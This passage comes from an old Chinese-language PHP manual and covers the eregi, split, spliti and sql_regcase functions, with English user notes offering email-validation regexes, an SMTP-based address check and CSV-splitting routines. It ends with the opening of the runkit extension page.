   if(checkdnsrr($tld,  "MX")) {
     if(getmxrr($tld, $mxhosts, $weight)) {
         for($i = 0; $i < count($mxhosts); $i++){
               $fp = fsockopen($mxhosts[$i], 25);
           if ($fp){
               $s = 0;
               $c = 0;
               $out =  "";
               set_socket_blocking($fp, false);
               do {
                 $out = fgets($fp, 2500);
                 if(ereg( "^220", $out)){
                           $s = 0;
                     $out =  "";
                     $c++;
                 }
                 else if(($c > 0) && ($out ==  "")){
                     break;
                 }
                 else {
                     $s++;
                 }
                 if($s == 9999) {
                     break;
                 }
               } while($out ==  "");
               set_socket_blocking($fp, true);
               fputs($fp,  "HELO $SERVER_NAME\n");
               $output = fgets ($fp, 2000);
               fputs($fp,  "MAIL FROM: <info@" . $tld .  ">\n" );
               $output = fgets($fp, 2000);
               fputs($fp,  "RCPT TO: <$email>\n");
               $output = fgets($fp, 2000);
               if(ereg(  "^250", $output )) {
                 $return[0] = true;
               }
               else {
                 $return[0] = false;
                 $return[1] = $output;
               }
               fputs ($fp,  "QUIT\n");
               fclose($fp);
               if($return[0] == true){
                 break;
               }
           }
         }
     }
   }
   return $return;
}

----
hope it helps you...
webmaster at textedit dot co dot uk
20-Jan-2003 03:03
I notice a lot of queries involving regular expressions and is_float() regarding currency validation.

If you have a version of php that uses the std C ctype.h functions then it will ALWAYS work with the following code.

function check_price($price)
{
$data=split('[.]',$price);

   if ( count($data) != 2 )
       return "false";

   if ( ctype_digit($data[0]) && ctype_digit($data[1]) && $data[0][0] != '0')
       return "true";
   else
         return "false";
}

Peter Lorimer

http:www.textedit.co.uk
webmaster@textedit.co.uk
X-Istence.com
18-Jan-2003 10:48
To check email, i use the following code:

if (!eregi ("^([a-z0-9_]|\\-|\\.)+@(([a-z0-9_]|\\-)+\\.)+[a-z]{2,4}$", $email) {
echo "Invalid Email Adress";
}
else {
echo "Valid Email Adress";
}
respectthepinguin at yahoo dot com
04-Jan-2003 03:30
validating an email can be pretty tough... however this....
^([[:alnum]]|_|\.|-)+@([[:alnum]]|\.|-)+(\.)([a-z]{2,4})$
makes this task much easier. (:)
BKDotCom at hotmail dot com
01-Oct-2002 02:56
in regards to using gethostbyname() to validate email addresses:
Large flaw:
Doesn't work if the host has a NS & MX record, but no A record.
mark dot edwards dot no dot spam at rayconNOSPAM dot com dot au
24-Sep-2002 11:21
The apostrophe is an allowable character in the username of an email address.

The regex I use for this is:
^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$

Escaping the apostrophe unfortunately allows users to put a backslash in their username and the regex will not complain.

Better I feel to allow some errors through than to deny legitimate addresses.
henrik jensen<hj at this_netwerk dot dk>
28-Jul-2002 01:05
Looking for at regex to check if a file is an image file, this seems to work?

Note: it does not check for illegeal filesystem names - it only looks at the filename extension.

if (eregi ("(.)+\\.(jp(e){0,1}g$|gif$|png$)",$filename)){
   // This is an imagefile
}

[ remove this_ from emailaddress ]
trosho at vip dot bg
09-Jun-2002 07:47
Please note that eregi() is case sensitive if you use cyrillic chars
re at lloc dot de
06-Mar-2002 11:36
An additional note to one of these
expressions above: I use

"^[a-z0-9]+([_.-][a-z0-9]+)*@([a-z0-9]
+([.-][a-z0-9]+)*)+\\.[a-z]{2,4}$"
tuxx at tuxx-home dot at
27-Feb-2002 07:11
A small note to one of these expressions above:
Inside a character class ([...]) one does not need to escape the fullstop, therefore

[-\\._]

would become

[-._]
steve at fish2find dot co dot uk
26-Feb-2002 11:40
hope this helps with some validation problems, simple text validation:
           //$firstname = "somename"; // valid
   or  //$firstname = "somenam3"; // not valid

           //lets validate a field entry & trim off any white spaces
           $firstname = trim($firstname);

       //set lenght of the field to a max 12 characters
           $len = "0,12";
           $field = $firstname;

           //call function
           if (is_valid($field, $len)){

           //if field entry valid then set
           $valid_firstname = $field;
           //set record to yes
           $valid_record = "TRUE";
                 echo "$field is a valid name";
           }
           else{
           //set record to null
           $valid_record = "FALSE";
                 echo " $field is not a valid name";
           }
           //process to see if valid record
           if ($valid_record == "FALSE"){
                 echo " & is not a valid record";
           }
           else{ //assume record is valid
                 echo " & is a valid record";
           }

           //validate field entry function

           function is_valid($field, $len) {
           if(eregi("^[[:alpha:]]{{$len}}$", $field)) return                TRUE;
           else return FALSE;
           }
ruben dot no dot spam at artek dot no dot spam dot es
09-Feb-2002 04:28
Well, this can be improved a little. According to the previous, these email addresses would be correct:
  user@domain.e
  user@domain.123
  user@domain-ltd

I suggest this regexp:

if( !eregi( "^" .
           "[a-z0-9]+([_\\.-][a-z0-9]+)*" .    //user
           "@" .
           "([a-z0-9]+([\.-][a-z0-9]+)*)+" .  //domain
           "\\.[a-z]{2,}" .                    //sld, tld
           "$", $email, $regs)
   )
...
mmc at nospam dot dk
27-Jan-2002 10:56
I'm not sure about "\." being the same as "." above.

Anyway, the mentioned regex would not recognize .museum-names, and generally isn't future safe.
Also, it doesn't verify that usernames and hostnames cannot start with "-._".

I would recommend a more general (=future safe) expression and then instead check the hostname. An example:

if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*"
   ."@([a-z0-9]+([\.-][a-z0-9]+))*$",
   $mail, $regs) )
{
   echo "Error: '$mail' isn't a valid mail address!\n";
}
elseif( gethostbyname($regs[2]) == $regs[2] )
{
   echo "Error: Can't find the host '$regs[2]'!<br>\n";
}

Note: I had to split the regex for it to fit this note.
Also note: The reason I'm using gethostbyname() and not getmxrr() or such is that getmxrr() doesn't work on Win2000/XP.
add a note add a note

后退 | 起点 | 前进
eregi_replace | 上一级 | split


split

(PHP 3, PHP 4, PHP 5)

split -- 用正则表达式将字符串分割到数组中

说明

array split ( string pattern, string string [, int limit] )

提示: preg_split() 函数使用了 Perl 兼容正则表达式语法，通常是比 split() 更快的替代方案。如果不需要正则表达式的威力，则使用 explode() 更快，这样就不会招致正则表达式引擎的浪费。

本函数返回一个字符串数组，每个单元为 string 经区分大小写的正则表达式 pattern 作为边界分割出的子串。如果设定了 limit，则返回的数组最多包含 limit 个单元，而其中最后一个单元包含了 string 中剩余的所有部分。如果出错，则 split() 返回 FALSE。

将 /etc/passwd 中的前四个字段分割出来：

例子 1. split() 例子

<?php
list($user, $pass, $uid, $gid, $extra) =
    split (":", $passwd_line, 5);
?>

如果字符串中有 n 个与 pattern 匹配的项目，则返回的数组将包含 n+1 个单元。例如，如果没有找到 pattern，则会返回一个只有一个单元的数组。当然，如果 string 为空也是这样。

解析可能用斜线，点，或横线分割的日期：

例子 2. split() 例子

<?php
// 分隔符可以是斜线，点，或横线
$date = "04/30/1973";
list($month, $day, $year) = split ('[/.-]', $date);
echo "Month: $month; Day: $day; Year: $year<br />\n";
?>

想仿效 Perl 中类似的 @chars = split('', $str) 行为，请参考 preg_split() 函数中的例子。

注意 pattern 是一个正则表达式。如果想要用的分割字符是正则表达式中的特殊字符，要先将其转义。如果觉得 split()（或其它任何 regex 函数）行为古怪的话，请阅读包含在 PHP 发行包中 regex/ 子目录下的 regex.7 文件。该文件是手册页面格式，可以用类似 man /usr/local/src/regex/regex.7 的命令来阅读。

参见 preg_split()，spliti()，explode()，implode()，chunk_split() 和 wordwrap()。

add a note add a note User Contributed Notes
destes at ix dot netcom dot com
14-Feb-2006 04:15
Some corrections to robin-at-teddyb's CSV splitting function.  Recall that the point of this is to properly implement a split() function that handles data exported to CSV, where data containing commas gets quote-delimited.

* Problem 1: As jh-at-junetz pointed out, the +1 in robin's nonquoted splitting command mistakenly adds an extra element to the resulting array.
* Problem 2: If consecutive fields are quote-delimited, the remaining "separator" between them only contains one delimiter and no actual fields - so an extra element gets added to the parsed array.
* Problem 3: When double-quotes appear in a spreadsheet exported to CSV, they get escaped by doubling them, i.e. a data field reading "this is a test of a "special" case" gets written to CSV as, "this is a test of a ""special"" case".  These quotes are also interpreted as top-level delimiters and (mistakenly) add extra array elements to the output.

I have hacked a conversion of "" to a single quote ( ' ), but a truly clever preg_split for the top-level splitter (instead of the explode) might preserve the original doubled "s without bugging up the top-level parsing.  i.e., a smarter man than I could solve the problem rather than avoiding it by replacing the bad data.

(current) Solution:

<?php

function quotesplit( $splitter=',', $s, $restore_quotes=0 ) {
   // hack because i'm a bad programmer - replace doubled "s with a '
   $s = str_replace('""', "'", $s);

   //First step is to split it up into the bits that are surrounded by quotes
   //and the bits that aren't. Adding the delimiter to the ends simplifies
   //the logic further down
   $getstrings = explode('"', $splitter.$s.$splitter);

   //$instring toggles so we know if we are in a quoted string or not
   $delimlen = strlen($splitter);
   $instring = 0;

   while (list($arg, $val) = each($getstrings)) {
       if ($instring==1) {
           if( $restore_quotes ) {
               //Add the whole string, untouched to the previous value in the array
               $result[count($result)-1] = $result[count($result)-1].'"'.$val.'"';
           } else {
               //Add the whole string, untouched to the array
               $result[] = $val;
           }
           $instring = 0;
       } else {
           // check that we have data between multiple $splitter delimiters
           if ((strlen($val)-$delimlen-$delimlen) >= 1) {

               //Break up the string according to the delimiter character
               //Each string has extraneous delimiters around it (inc the ones we added
               //above), so they need to be stripped off
               $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen ) );

               while(list($iarg, $ival) = each($temparray)) {
                   $result[] = trim($ival);
               }
           }
           // else, the next element needing parsing is a quoted string and the comma
           // here is just a single separator and contains no data, so skip it

           $instring = 1;
       }
   }

   return $result;
}

?>
RE: gcerretini at technica dot net /UTF8
08-Feb-2006 08:26
Original problem:
=================

I've try using split function.

<?php
$ferro="2&#65533;12";
$valore=split("[&#65533;]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
$ferro="2d12";
$valore=split("[d]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
?>

This return:
============

2&#65533;12
p1-2
p2-
p3-12
2d12
p1-2
p2-12
p3-

I use charset UTF-8. When I use char &#65533; the split function ad an empty string between "2" and "12"... Why?

Explanation:
============

UTF-8 charset codes some characters (like the "&#65533;" character) into two bytes. In fact the regular expresion "[&#65533;]" contains 4 bytes (4 non-unicode characters). To demonstrate the real situation I wrote following example:

$ferro="2de12";
$valore=split("[de]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";

This returns:
=============

2d12
p1-2
p2-
p3-12
gcerretini at technica dot net
28-Jan-2006 02:46
I've try using split function.
<?PHP
$ferro="212";
$valore=split("[]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
$ferro="2d12";
$valore=split("[d]",$ferro);
echo $ferro."<br>";
echo "p1-".$valore[0]."<br>";
echo "p2-".$valore[1]."<br>";
echo "p3-".$valore[2]."<br>";
?>

This return:

212
p1-2
p2-
p3-12
2d12
p1-2
p2-12
p3-

I use charset UTF-8
When I use char  the split function ad an empty string between "2" and "12" Why?
shimon at schoolportal dot co dot il
27-Dec-2005 04:34
<?
// **
// * splitslash()
// *
// * this function enables to split with an escape char;
// *
// * @since 25/12/05 21:26:00
// * @author Shimon Doodkin
// *
// * @param $string
// * @param $string
// * @return Array()
// **

function splitslash($split,$str,$esc='\\\\')
{
 $o=explode($split,$str);
 $oc=count($o);
 $a=array();
 for($i=0;$i<$oc;$i++)
 {
  $o2=explode($esc.$esc,$o[$i]);
  $o2c=count($o2);
  if($o2[$o2c-1][strlen($o2[$o2c-1])-1]==$esc)
  {
   $o2[$o2c-1]=substr($o2[$o2c-1],0,-1);
   if($i+1<$oc)
   {
   $o[$i+1]=join($esc.$esc,$o2).$split.$o[$i+1];
   }
   else
   {
   //echo "error";
   $a[]=join($esc,$o2); //do like ok
   }
  }
  else
  {
   $a[]=join($esc,$o2);
  }
 }
 return $a;
}

// example:

$r=splitslash("NA","mooNAmooNAma\\\\ma\\NA");
print_r($r);
//output:
/*
Array
(
   [0] => moo
   [1] => moo
   [2] => ma\\maNA
)
*/
?>
04-Dec-2005 09:57
Be advised

$arr = split("x", "x" );
print_r($arr);

will output:

Array
(
   [0] =>
   [1] =>
)

That is it will catch 2 empty strings on each side of the delimiter.
franz at fholzinger dot com
04-Nov-2005 08:34
The example from ramkumar rajendran did not work.
$line = split("/\n", $input_several_lines_long);
I do not know why this does not work for me.

The following has worked for me to get a maximum of 2 array parts separated by the first new line (independant if saved under UNIX or WINDOWS):
$line = preg_split('/[\n\r]+/',$input_several_lines_long,2);
Also empty lines are not considered here.
passtschu AT freenet DOT de
24-Sep-2005 03:09
divide a string with a template. the "template dividers" are the keys for the output array.

<?PHP
function string2array ($string, $template){
  #search defined dividers
  preg_match_all ("|%(.+)%|U", $template, $template_matches);
  #replace dividers with "real dividers"
  $template = preg_replace ("|%(.+)%|U", "(.+)", $template);
  #search matches
  preg_match ("|" . $template . "|", $string, $string_matches);
  #[template_match] => $string_match
  foreach ($template_matches[1] as $key => $value){
     $output[$value] = $string_matches[($key + 1)];
  }
  return $output;
}

$string1 = 'www.something.com 66.196.91.121 - - [01/Sep/2005:04:20:39 +0200] "GET /robots.txt HTTP/1.0" 200 49 "-"';
$string2= '%Domain% %IP% - %User% \[%Date%:%Time% %TimeZone%\] "%Method% %Request% %Protocol%" %ServerCode% %Bytes% "%Referer%"';

print_r (string2array ($string1, $string2));

/*
Array

(
  [ServerAddress] => www.something.com
  [IP] => 66.196.91.121
  [User] => -
  [Date] => 01/Sep/2005
  [Time] => 04:20:39
  [TimeZone] => +0200
  [Method] => GET
  [Request] => /robots.txt
  [Protocol] => HTTP/1.0
  [ServerCode] => 200
  [Bytes] => 49
  [Referer] => -
)
*/
?>
jh at junetz dot de
04-Jul-2005 12:34
robin: Nice function, saved my day. The +1 at the end of split / substr is wrong, though.
robin at teddyb dot org
30-Jun-2005 12:01
Actually, this version is better than the last I submitted.  The goal here is to be able to engage in *multiple* delimeter removal passes; for all but the last pass, set the third value to "1", and everything should go well.

   function quotesplit( $splitter=',', $s, $restore_quotes=0 )
   {
       //First step is to split it up into the bits that are surrounded by quotes
       //and the bits that aren't. Adding the delimiter to the ends simplifies
       //the logic further down

       $getstrings = explode('"', $splitter.$s.$splitter);

       //$instring toggles so we know if we are in a quoted string or not
       $delimlen = strlen($splitter);
       $instring = 0;

       while (list($arg, $val) = each($getstrings))
       {
           if ($instring==1)
           {
               if( $restore_quotes )
               {
                   //Add the whole string, untouched to the previous value in the array
                   $result[count($result)-1] = $result[count($result)-1].'"'.$val.'"';
               } else {
                   //Add the whole string, untouched to the array
                   $result[] = $val;
               }
               $instring = 0;
           }
           else
           {
               //Break up the string according to the delimiter character
               //Each string has extraneous delimiters around it (inc the ones we added
               //above), so they need to be stripped off
               $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen+1 ) );

               while(list($iarg, $ival) = each($temparray))
               {
                   $result[] = trim($ival);
               }
               $instring = 1;
           }
       }

       return $result;
   }
robin at teddyb dot org
30-Jun-2005 11:50
wchris's quotesplit assumes that anything that is quoted must also be a complete delimiter-seperated entry by itself.  This version does not.  It also uses split's argument order.

   function quotesplit( $splitter=',', $s )
   {
       //First step is to split it up into the bits that are surrounded by quotes
       //and the bits that aren't. Adding the delimiter to the ends simplifies
       //the logic further down

       $getstrings = explode('"', $splitter.$s.$splitter);

       //$instring toggles so we know if we are in a quoted string or not
       $delimlen = strlen($splitter);
       $instring = 0;

       while (list($arg, $val) = each($getstrings))
       {
           if ($instring==1)
           {
               //Add the whole string, untouched to the previous value in the array
               $result[count($result)-1] = $result[count($result)-1].$val;
               $instring = 0;
           }
           else
           {
               //Break up the string according to the delimiter character
               //Each string has extraneous delimiters around it (inc the ones we added
               //above), so they need to be stripped off
               $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen+1 ) );

               while(list($iarg, $ival) = each($temparray))
               {
                   $result[] = trim($ival);
               }
               $instring = 1;
           }
       }

       return $result;
   }
wchris
18-Feb-2005 07:53
moritz's quotesplit didn't work for me. It seemed to split on a comma even though it was between a pair of quotes. However, this did work:

function quotesplit($s, $splitter=',')
{
//First step is to split it up into the bits that are surrounded by quotes and the bits that aren't. Adding the delimiter to the ends simplifies the logic further down

   $getstrings = split('\"', $splitter.$s.$splitter);

//$instring toggles so we know if we are in a quoted string or not
   $delimlen = strlen($splitter);
   $instring = 0;

   while (list($arg, $val) = each($getstrings))
   {
       if ($instring==1)
       {
//Add the whole string, untouched to the result array.
           $result[] = $val;
           $instring = 0;
       }
       else
       {
//Break up the string according to the delimiter character
//Each string has extraneous delimiters around it (inc the ones we added above), so they need to be stripped off
           $temparray = split($splitter, substr($val, $delimlen, strlen($val)-$delimlen-$delimlen ) );

           while(list($iarg, $ival) = each($temparray))
           {
               $result[] = trim($ival);
           }
           $instring = 1;
       }
   }
   return $result;
}
ramkumar rajendran
18-Jan-2005 02:09
A correction to a earlier note
If you want to use split to check on line feeds (\n), the following won't work:

$line = split("\n", $input_several_lines_long);

You really have to do this instead, notice the second slash:
$line = split("/\n", $input_several_lines_long);

Took me a little while to figure to do
claes at dot2me.com
04-Nov-2004 08:10
Though this is obvious, the manual is a bit incorrect when claiming that the return will always be 1+number of time the split pattern occures.  If the split pattern is the first part of the string, the return will still be 1.  E.g.

$a = split("zz," "zzxsj.com");
count($a);

=> 1.

The return of this can not in anyway be seperated from the return where the split pattern is not found.
moritz
10-Apr-2004 02:54
Often you want to split CSV-Like data, so this is the function for this :)

It splits data formatted like:

1,2,3
-> [1,2,3]

1 , 3, 4
-> [1,3,4]

one; two;three
-> ['one','two','three']

"this is a string", "this is a string with , and ;", 'this is a string with quotes like " these', "this is a string with escaped quotes \" and \'.", 3
-> ['this is a string','this is a string with , and ;','this is a string with quotes like " these','this is a string with escaped quotes " and '.',3]

function quotesplit($s)
{
   $r = Array();
   $p = 0;
   $l = strlen($s);
   while ($p < $l) {
       while (($p < $l) && (strpos(" \r\t\n",$s[$p]) !== false)) $p++;
       if ($s[$p] == '"') {
           $p++;
           $q = $p;
           while (($p < $l) && ($s[$p] != '"')) {
               if ($s[$p] == '\\') { $p+=2; continue; }
               $p++;
           }
           $r[] = stripslashes(substr($s, $q, $p-$q));
           $p++;
           while (($p < $l) && (strpos(" \r\t\n",$s[$p]) !== false)) $p++;
           $p++;
       } else if ($s[$p] == "'") {
           $p++;
           $q = $p;
           while (($p < $l) && ($s[$p] != "'")) {
               if ($s[$p] == '\\') { $p+=2; continue; }
               $p++;
           }
           $r[] = stripslashes(substr($s, $q, $p-$q));
           $p++;
           while (($p < $l) && (strpos(" \r\t\n",$s[$p]) !== false)) $p++;
           $p++;
       } else {
           $q = $p;
           while (($p < $l) && (strpos(",;",$s[$p]) === false)) {
               $p++;
           }
           $r[] = stripslashes(trim(substr($s, $q, $p-$q)));
           while (($p < $l) && (strpos(" \r\t\n",$s[$p]) !== false)) $p++;
           $p++;
       }
   }
   return $r;
}
alphibia at alphibia dot com
31-Mar-2004 10:19
I'd like to correct myself, I found that after testing my last solution it will create 5 lines no matter what... So I added this to make sure that it only displays 5 if there are five newlines. :-)

<?php
   $MaxNewLines = 5;

   $BRCount = substr_count($Message, '<br />');
   if ($BRCount<$MaxNewLines)
   $MaxNewLines=$BRCount;
   else if($BRCount == 0)
   $MaxNewLines=1;

   $Message = str_replace(chr(13), "<br />", $Message);
   $MessageArray = split("<br />", $Message, $MaxNewLines);
   $Message = ""; $u=0;
   do    {
   $Message.=$MessageArray[$u].'<br />';
   $u++;
   } while($u<($MaxNewLines-1));
   $Message.=str_replace("<br />"," ",$MessageArray[$u]);
   ?>

-Tim
http://www.alphibia.com
nomail at please dot now
22-Nov-2003 01:33
If you want to use split to check on line feeds (\n), the following won't work:

$line = split("\n", $input_several_lines_long);

You really have to do this instead, notice the second slash:
$line = split("\\n", $input_several_lines_long);

Took me a little while to figure out.
krahn at niehs dot nih dot gov
25-Oct-2003 03:14
> strange things happen with split
> this didn't work
> $vontag $vonmonat were empty strings
...
> list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad

Split is acting exactly as it should; it splits on regular expressions.
A period is a regular expression pattern for a single character.
So, an actual period must be escaped with a backslash:  '\.'
A period within brackets is not an any-character pattern, because it does
not make sense in that context.

Beware that regular expressions can be confusing becuase there
are a few different varieties of patterns.
dalu at uni dot de
09-Oct-2003 03:26
php4.3.0

strange things happen with split

this didn't work
$vontag $vonmonat were empty strings

<?php
function ckdate($fromdate="01.01", $todate="31.12")
{
   $nowyear = date("Y");
   list ($vontag , $vonmonat) = split ('.' , $fromdate); // << bad
   $vondatum = "$nowyear-$vonmonat-$vontag";
   list ($bistag , $bismonat) = split ('.' , $todate); // << bad
   $bisdatum = "$nowyear-$bismonat-$bistag";
   $von = strtotime($vondatum);
   $bis = strtotime($bisdatum);
   $now = time();
   if (($now <= $bis) and ($now >= $von))
   {
       return TRUE;
   }
   else
   {
       return FALSE;
   }
}
?>

however this one worked perfectly

<?php
function ckdate($fromdate="01.01", $todate="31.12")
{
   $nowyear = date("Y");
   list ($vontag , $vonmonat) = split ('[.]' , $fromdate); // << good
   $vondatum = "$nowyear-$vonmonat-$vontag";
   list ($bistag , $bismonat) = split ('[.]' , $todate); // << good
   $bisdatum = "$nowyear-$bismonat-$bistag";
   $von = strtotime($vondatum);
   $bis = strtotime($bisdatum);
   $now = time();
   if (($now <= $bis) and ($now >= $von))
   {
       return TRUE;
   }
   else
   {
       return FALSE;
   }
}
?>

btw this fn checks if $now if between $fromdate and $todate
use it if you like
jeffrey at jhu dot edu
11-Jan-2003 05:51
In answer to gwyne at gmx dot net, dec 1, 2002:

For split(), when using a backslash as the delimiter, you have to *double escape* the backslash.

example:
==================================
<pre>
<?
$line = 'stuff\\\thing\doodad\\';
$linearray = split('\\\\', $line); //<--NOTE USE OF FOUR(4)backslashes
print join(":", $linearray);
?>
</pre>

==================================
output is:

<pre>
stuff::thing:doodad:
</pre>
paha at paha dot hu
22-Jul-2002 09:51
It's evident but not mentioned in the documentation that using asterisks is more restricted than in a normal regular expression.

for exaple you cannot say:

split(";*",$string);

because what if there's no ";" separator?(which is covered by this regular expression)

so you have to use at least

split(";+",$quotatxt);

in this situation.
fotw at gmx dot net
18-Jun-2002 03:50
Ups! It seems that neither explode nor split REALY takes a STRING but only a single character as a string for splitting the string.
 I found this problem in one of my codes when trying to split a string using ";\n" as breaking string. The result, only ";" was thaken... the rest of the string was ignored.
 Same when I tried to substitute "\n" by any other thing. :(
not at anythingspecial dot com
17-Jun-2002 09:48
If you need to do a split on a period make sure you escape the period out..

$ext_arr = split("\.","something.jpg");
... because
$ext_arr = split(".","something.jpg"); won't work properly.
kang at elpmis dot com
13-Jun-2002 02:30
This is a good way to display a comma delimited file with two columns.  The first column is the URL's description, the second is the actual URL.

<ul>
<?php
  $fname="relatedlinks.csv";
  $fp=fopen($fname,"r") or die("Error found.");
  $line = fgets( $fp, 1024 );
  while(!feof($fp))
  {
   list($desc,$url,$dummy) = split( ",", $line, 3 );
   print "<li>";
   print "<a href='$url'>$desc</a>";
   print "</li>\n";
   $line = fgets( $fp, 1024 );
  }
  fclose($fp);
?>
</ul>
jchart at sdccu dot net
01-Jun-2002 03:56
[Ed. note: Close. The pipe *is* an operator in PHP, but
the reason this fails is because it's also an operator
in the regex syntax. The distinction here is important
since a PHP operator inside a string is just a character.]

The reason your code:

$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('|', $line);

didn't work is because the "|" symbol is an operator in PHP. If you want to use the pipe symbol as a delimiter you must excape it with a back slash, "\|". You code should look like this:

$line = "12|3|Fred";
list ($msgid, $msgref, $msgtopic)=split('\|', $line);
mcgarry at tig dot com dot au
17-May-2002 06:27
split() doesn't like NUL characters within the string, it treats the first one it meets as the end of the string, so if you have data you want to split that can contain a NUL character you'll need to convert it into something else first, eg:

$line=str_replace(chr(0),'',$line);
add a note add a note

后退 | 起点 | 前进
eregi | 上一级 | spliti


spliti

(PHP 4 >= 4.0.1, PHP 5)

spliti -- 用正则表达式不区分大小写将字符串分割到数组中

说明

array spliti ( string pattern, string string [, int limit] )

本函数和 split() 相同，只除了在匹配字母字符时忽略大小写的区别。

参见 preg_spliti()，split()，explode() 和 implode()。

add a note add a note User Contributed Notes
17-Apr-2004 02:22
When using special characters such as the tab placeholder "\t" in the split function, be careful not to escape the slash by adding a slah in front of it. To signify a tab, new line or carriage return use only one slash in front of the character. For example:

$cartes= "one\ttwo\tthree";

$tab_cartes = split("\t",$cartes );

$items = count($tab_cartes);
for ($x = 0; $x < $items; $x++)
   { echo $tab_cartes[$x] . "\n"; }
vbelon at hotmail dot com
27-Jan-2004 10:51
To split $cartes which contains data and tabulations:
Doesnt work :
$tab_cartes = split("\\t",$cartes );

But \t = char(9), so, works well:
$tab_cartes = split(Chr(9),$cartes);

Idem for :
\n = char(10)
\r = char(13)

Found in http://www.asp-magazine.com/fr/asp/blitz/blitz4.asp
add a note add a note

后退 | 起点 | 前进
split | 上一级 | sql_regcase


sql_regcase

(PHP 3, PHP 4, PHP 5)

sql_regcase -- 产生用于不区分大小的匹配的正则表达式

说明

string sql_regcase ( string string )

返回与 string 相匹配的正则表达式，不论大小写字母。返回的表达式是将 string 中的每个字母字符转换为方括号表达式，该方括号表达式包含了该字母的大小写形式。其它字符保留不变。

例子 1. sql_regcase() 例子

<?php
echo sql_regcase ("Foo - bar.");
?>

输出为：

[Ff][Oo][Oo] - [Bb][Aa][Rr].

可以用于在仅支持区分大小写正则表达式的产品中完成不区分大小写的模式匹配。

add a note add a note User Contributed Notes
edge at gts dot smtn dot stavropol dot ru
25-Jun-2003 09:56
work, if you set right locale:

setlocale(LC_CTYPE,"ru_RU.KOI8-R");

print sql_regcase("&#1062;ffnung");

will output:
"[&#1062;&#1094;][Ff][Ff][Nn][Uu][Nn][Gg]"
m-blueml__NO at SPAM__imagetype dot de
01-Oct-2002 07:29
Will not work with special Characters like , and .

print sql_regcase("ffnung");
will output:
"[Ff][Ff][Nn][Uu][Nn][Gg]"

Markus
add a note add a note

后退 | 起点 | 前进
spliti | 上一级 | runkit Functions


runkit Functions

PHP 手册
后退 前进

CXXIV. runkit Functions

简介

The runkit extension provides means to modify constants, user-defined functions, and user-defined classes. It also provides for custom superglobal variables and embeddable sub-interpreters via sandboxing.

进一步信息例如新版本，下载，源程序，维护者信息以及更新日志可以在此找到： http://pecl.php.net/package/runkit.

This package is meant as a feature added replacement for the classkit package. When compiled with the --enable-runkit=classkit option to ./configure, it will export classkit compatible function definitions and constants.

需求

Modifying Constants, Functions, Classes, and Methods works with all releases of PHP 4 and PHP 5. No special requirements are necessary.

Custom Superglobals are only available in PHP 4.2.0 or later.

Sandboxing requires PHP 5.1.0 or later, or PHP 5.0.0 with a special TSRM patch applied. Regardless of which version of PHP is in use it must be compiled with the --enable-maintainer-zts option. See the README file in the runkit package for additional information.

Custom Superglobals

The runkit.superglobal ini option may be set to a comma-separated list of variable names to be treated as superglobals. This value should be set in the systemwide php.ini file, but may work in perdir configuration contexts depending on your SAPI.

例子 1. Custom Superglobals with runkit.superglobal=_FOO,_BAR in php.ini

<?php
function show_values() {
  echo "Foo is $_FOO\n";
  echo "Bar is $_BAR\n";
  echo "Baz is $_BAZ\n";
}

$_FOO = 'foo';
$_BAR = 'bar';
$_BAZ = 'baz';

/* Displays foo and bar, but not baz */
show_values();
?>

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

RUNKIT_IMPORT_FUNCTIONS (integer)

runkit_import() flag indicating that normal functions should be imported from the specified file.

RUNKIT_IMPORT_CLASS_METHODS (integer)

runkit_import() flag indicating that class methods should be imported from the specified file.

RUNKIT_IMPORT_CLASS_CONSTS (integer)

runkit_import() flag indicating that class constants should be imported from the specified file. Note that this flag is only meaningful in PHP versions 5.1.0 and above.

RUNKIT_IMPORT_CLASS_PROPS (integer)

runkit_import() flag indicating that class standard properties should be imported from the specified file.

RUNKIT_IMPORT_CLASSES (integer)

runkit_import() flag representing a bitwise OR of the RUNKIT_IMPORT_CLASS_* constants.

RUNKIT_IMPORT_OVERRIDE (integer)

runkit_import() flag indicating that if any of the imported functions, methods, constants, or properties already exist, they should be replaced with the new definitions. If this flag is not set, then any imported definitions which already exist will be discarded.

RUNKIT_ACC_PUBLIC (integer)

PHP5 specific flag to runkit_method_add()

RUNKIT_ACC_PROTECTED (integer)

PHP5 specific flag to runkit_method_add()

RUNKIT_ACC_PRIVATE (integer)

PHP5 specific flag to runkit_method_add()

CLASSKIT_ACC_PUBLIC (integer)

PHP5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.

CLASSKIT_ACC_PROTECTED (integer)

PHP5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.

CLASSKIT_ACC_PRIVATE (integer)

PHP5 specific flag to classkit_method_add() Only defined when classkit compatibility is enabled.

CLASSKIT_AGGREGATE_OVERRIDE (integer)

PHP5 specific flag to classkit_import() Only defined when classkit compatibility is enabled.

RUNKIT_VERSION (string)

Defined to the current version of the runkit package.

CLASSKIT_VERSION (string)

Defined to the current version of the runkit package. Only defined when classkit compatibility is enabled.

目录
Runkit_Sandbox -- Runkit Sandbox Class -- PHP Virtual Machine
runkit_class_adopt -- Convert a base class to an inherited class, add ancestral methods when appropriate
runkit_class_emancipate -- Convert an inherited class to a base class, removes any method whose scope is ancestral
runkit_constant_add -- Similar to define(), but allows defining in class definitions as well
runkit_constant_redefine -- Redefine an already defined constant
runkit_constant_remove -- Remove/Delete an already defined constant
runkit_function_add -- Add a new function, similar to create_function()
runkit_function_copy -- Copy a function to a new function name
runkit_function_redefine -- Replace a function definition with a new implementation
runkit_function_remove -- Remove a function definition
